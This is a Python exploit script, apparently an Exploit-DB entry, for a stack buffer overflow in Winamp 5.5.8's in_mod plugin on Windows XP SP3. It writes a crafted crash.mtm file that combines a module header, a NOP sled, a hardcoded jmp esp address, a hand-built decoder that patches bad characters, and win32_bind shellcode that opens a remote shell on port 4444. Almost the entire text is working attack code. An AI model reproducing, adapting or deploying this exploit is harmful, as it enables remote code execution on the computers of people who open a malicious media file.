#!/usr/bin/python # Pwn And Beans by Mighty-D presents: # Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow # WINDOWS XP SP3 FULLY PATCHED - NO ASLR OR DEP BYPASS... yet # Bug found by http://www.exploit-db.com/exploits/15248/ # POC by fdisk # Exploit by Mighty-D # Special thanks to: # fdisk: Who wrote the skeleton of what you are looking at # Ryujin: For pointing the bug # Muts: For bringing the pain and the omelet ideas that weren't used # dijital1 and All the EDB-Team # The guys from UdeA, Ryepes, HerreraDavid, GomezRam7 # Just one comment: Stupid badchars!!!!!!!
header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E" header += "\x04\x0C" * 16
nopsled = "\x90" * 58207
eip = "\xED\x1E\x95\x7C" # jmp esp WIN XP SPANISH change at will
patch_shellcode = "\x90" * 16 patch_shellcode += "\x90\x33\xDB" # Set EBX to zero patch_shellcode += "\x54\x5B" # PUSH ESP ; POP EBX GET THE RELATIVE POSITION patch_shellcode += "\x81\xEB\x95\xFC\xFF\xFF" # make EBX point to our shell patch_shellcode += "\x43"*13 # Move EBX as close as we can to the first badchar patch_shellcode += "\x90"*4 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*1 # Move EBX to the first badchar patch_shellcode += "\x80\x2B\x20" # Set it to 13 - verified patch_shellcode += "\x43"*3 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 05 - verified patch_shellcode += "\x43"*16 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\xEC" # Set it to 21 - verified patch_shellcode += "\x43"*1 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x7C" # Set it to 8e - verified patch_shellcode += "\x90"*8 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*30 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 05 - verified patch_shellcode += "\x90"*8 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*11 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x42" # Set it to CB - verified patch_shellcode += "\x43"*1 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x78" # Set it to 92 - verified patch_shellcode += "\x90"*26 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*18 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 04 - verified patch_shellcode += "\x90"*16 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*15 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 02 - verified patch_shellcode += "\x43"*8 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x21" # Set it to EC - verified patch_shellcode += "\x43"*1 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x7C" # Set it to 8e - verified patch_shellcode += "\x90"*14 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*18 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x49" # Set it to c1 - verified patch_shellcode += "\x90"*13 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*4 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to EA, but we need F6 patch_shellcode += "\x80\x2B\xF4" # Set it to F6 - verified patch_shellcode += "\x43"*9 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 11 - verified patch_shellcode += "\x43"*10 # Move EBX to the next badchar patch_shellcode += "\x90"*3 # Nop sled to avoid damage from CrLf patch_shellcode += "\x80\x2B\xCD" # Set it to 3D - verified patch_shellcode += "\x43"*3 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 07 - verified patch_shellcode += "\x43"*11 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified patch_shellcode += "\x43"*4 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified patch_shellcode += "\x90"*13 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*4 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified patch_shellcode += "\x43"*8 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified patch_shellcode += "\x90"*19 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*11 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x8E" # Set it to 7F - verified patch_shellcode += "\x43"*1 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\xDF" # Set it to 2B - verified patch_shellcode += "\x43"*8 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x1E" # Set it to EC - verified patch_shellcode += "\x90"*11 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*12 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 8 - verified patch_shellcode += "\x90"*28 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*29 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\xa7" # Set it to 66 - verified patch_shellcode += "\x43"*1 # Move EBX to the next badchar patch_shellcode += "\x90"*4 # Nop sled to avoid damage from CrLf patch_shellcode += "\x80\x2B\xb8" # Set it to 52 - verified patch_shellcode += "\x90"*9 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*17 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 3 - verified patch_shellcode += "\x90"*9 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*3 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified patch_shellcode += "\x90"*12 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*2 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 3 - verified patch_shellcode += "\x43"*7 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 2 - verified patch_shellcode += "\x90"*10 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*6 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 13 - verified patch_shellcode += "\x43"*3 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 5 - verified patch_shellcode += "\x43"*3 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x1B" # Set it to F2 - verified patch_shellcode += "\x43"*1 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\xF4" # Set it to 16 - verified patch_shellcode += "\x90"*19 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*4 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 10 - verified patch_shellcode += "\x43"*4 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 10 - verified patch_shellcode += "\x90"*20 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*17 # Move EBX to the next badchar patch_shellcode += "\x90"*28 # Lazy nopsled patch_shellcode += "\x43"*16 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x26" # Set it to E7 - verified patch_shellcode += "\x90"*18 # Nop sled to avoid damage from CrLf patch_shellcode += "\x43"*1 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\xBE" # Set it to 4C - verified patch_shellcode += "\x43"*7 # Move EBX to the next badchar patch_shellcode += "\x80\x2B\x20" # Set it to 5 - verified patch_shellcode += "\x90"*(66)
# win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub shellcode = "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73" shellcode += "\x33" # Should be 13 shellcode += "\xa9\x41" shellcode += "\x25" # should be 05 shellcode += "\x3f\x83\xeb\xfc\xe2\xf4\x55\x2b\xee\x72\x41\xb8\xfa\xc0" shellcode += "\x56" # \x21\x8e Ripped shellcode += "\x53\x8d\x65\x8e\x7a\x95\xca\x79\x3a\xd1\x40\xea\xb4" shellcode += "\xe6\x59\x8e\x60\x89\x40\xee\x76\x22\x75\x8e\x3e\x47\x70\xc5\xa6" shellcode += "\x25" # should be 05 shellcode += "\xc5\xc5\x4b\xae\x80\xcf\x32\xa8\x83\xee" # \xcb\x92 shellcode += "\x15\x21\x17" shellcode += "\xdc\xa4\x8e\x60\x8d\x40\xee\x59\x22\x4d\x4e\xb4\xf6\x5d" shellcode += "\x24" #Should be 04 shellcode += "\xd4\xaa\x6d\x8e\xb6\xc5\x65\x19\x5e\x6a\x70\xde\x5b\x22" shellcode += "\x22" # Should be 02 shellcode += "\x35\xb4\xe9\x4d\x8e\x4f\xb5" # \xec\8e Ripped shellcode += "\x7f\xa1\x1f\x6d\xb1\xe7\x4f\xe9\x6f" shellcode += "\x56\x97\x63\x6c\xcf\x29\x36\x0d" # \xc1 Ripped shellcode += "\x36\x76\x0d" # \xf6 ripped shellcode += "\x15\xfa\xef" shellcode += "\xc1\x8a\xe8\xc3\x92" shellcode += "\x31" # Should be 11 shellcode += "\xfa\xe9\xf6\xc8\xe0\x59\x28\xac\x0d" # \x3d ripped shellcode += "\xfc\x2b" shellcode += "\x27" # should be 07 shellcode += "\xc0\x79\x29\xdc\x36\x5c\xec\x52\xc0\x7f" shellcode += "\x32" # should be 12 shellcode += "\x56\x6c\xfa" shellcode += "\x32" # should be 12 shellcode += "\x46\x6c\xea" shellcode += "\x32" # should be 12 shellcode += "\xfa\xef\xcf\x29\x14\x63\xcf" shellcode += "\x32" #should be 12 shellcode += "\x8c\xde" shellcode += "\x3c\x29\xa1\x25\xd9\x86\x52\xC0" # \x7f\x2b Ripped shellcode += "\x15\x6e\xfc\xbe\xd5\x57" shellcode += "\x0d" # \xec Ripped shellcode += "\x2b\xd6\xfe\xbe\xd3\x6c\xfc\xbe\xd5\x57\x4c" shellcode += "\x28" # should be 08 shellcode += "\x83\x76" shellcode += "\xfe\xbe\xd3\x6f\xfd\x15\x50\xc0\x79\xd2\x6d\xd8\xd0\x87\x7c\x68" shellcode += "\x56\x97\x50\xc0\x79\x27\x6f\x5b\xcf\x29" # \x66\x52 Ripped shellcode += "\x20\xa4\x6f\x6f" shellcode += "\xf0\x68\xc9\xb6\x4e\x2b\x41\xb6\x4b\x70\xc5\xcc" shellcode += "\x23" # shoudl be 03 shellcode += "\xbf\x47" shellcode += "\x32" #Should be 12 shellcode += "\x57" shellcode += "\x23" # Should be 03 shellcode += "\x29\xac\x24\x3b\x3d\x94" shellcode += "\x22" # should be 02 shellcode += "\xea\x6d\x4d\x57\xf2" shellcode += "\x33" # should be 13 shellcode += "\xc0\xdc" shellcode += "\x25" # should be 5 shellcode += "\xfa\xe9" # \xf2\x16 Ripped shellcode += "\x57\x6e\xf8" shellcode += "\x30" #should be 10 shellcode += "\x6f\x3e\xf8" shellcode += "\x30" # Should be 10 shellcode += "\x50\x6e" shellcode += "\x56\x91\x6d\x92\x70\x44\xcb\x6c\x56\x97\x6f\xc0\x56\x76\xfa\xef" shellcode += "\x22\x16\xf9\xbc\x6d\x25\xfa\xe9\xfb\xbe\xd5" shellcode += "\x57\xd7\x99" #\xe7\x4c Ripped shellcode += "\xfa\xbe\xd3\xc0\x79\x41" shellcode += "\x25" # should be 05 shellcode += "\x3f"
payload = header + nopsled + eip + patch_shellcode + shellcode
try: file = open("crash.mtm", "w") file.write(payload) file.close() print "MTM file generated successfuly" except: print "Cannot create file"
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